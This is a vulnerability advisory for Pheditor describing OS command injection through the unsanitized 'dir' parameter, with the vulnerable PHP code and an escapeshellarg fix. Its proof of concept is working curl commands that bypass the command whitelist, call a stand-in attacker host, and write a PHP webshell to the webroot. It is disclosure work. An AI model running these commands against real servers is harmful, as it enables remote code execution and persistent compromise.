Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter

Summary

An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.

Details

The terminal handler in pheditor.php accepts two POST parameters: command and dir. Shell metacharacters are validated on $command only — $dir is passed to shell_exec() without any sanitization.

Vulnerable code (pheditor.php, line 554–586):

$command = $_POST['command'];  // ✓ metacharacters checked
$dir     = $_POST['dir'];      // ✗ NOT checked — vulnerable

if (strpos($command, '&')  !== false ||
    strpos($command, ';')  !== false ||
    strpos($command, '||') !== false) {
    die(...); // only guards $command, not $dir
}

$output = shell_exec(
    (empty($dir) ? null : 'cd ' . $dir . ' && ')
    . $command . ' && echo \ ; pwd'  // ← $dir injected here
);

An attacker sends dir=/tmp; curl attacker.com # — the semicolon in $dir is never checked, so the injected command executes freely.

Fix: replace $dir with escapeshellarg($dir) on line 586.

PoC

Requirements: valid credentials, terminal permission enabled (default)

Step 1 — Authenticate:

curl -c cookies.txt -X POST http://TARGET/pheditor.php \
  -d "pheditor_password=admin" -L > /dev/null

Step 2 — Get CSRF token:

TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

Step 3 — Confirm curl is blocked via command field:

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=curl https://ifconfig.me" \
  --data-urlencode "dir=/tmp"


→ {"error":true,"message":"Command not allowed"}

Step 4 — Bypass whitelist via dir injection:

TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"


→ {"error":false,"message":"OK","dir":"<PUBLIC_IP>"}

Step 5 — Full RCE via webshell:

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"

curl "http://TARGET/shell.php?c=id"


→ uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:

• Execute arbitrary OS commands as the web server user
• Bypass the TERMINAL_COMMANDS whitelist entirely
• Deploy persistent PHP webshells to the webroot
• Read, write, or delete any file accessible to the web server
• Potentially compromise other applications on the same server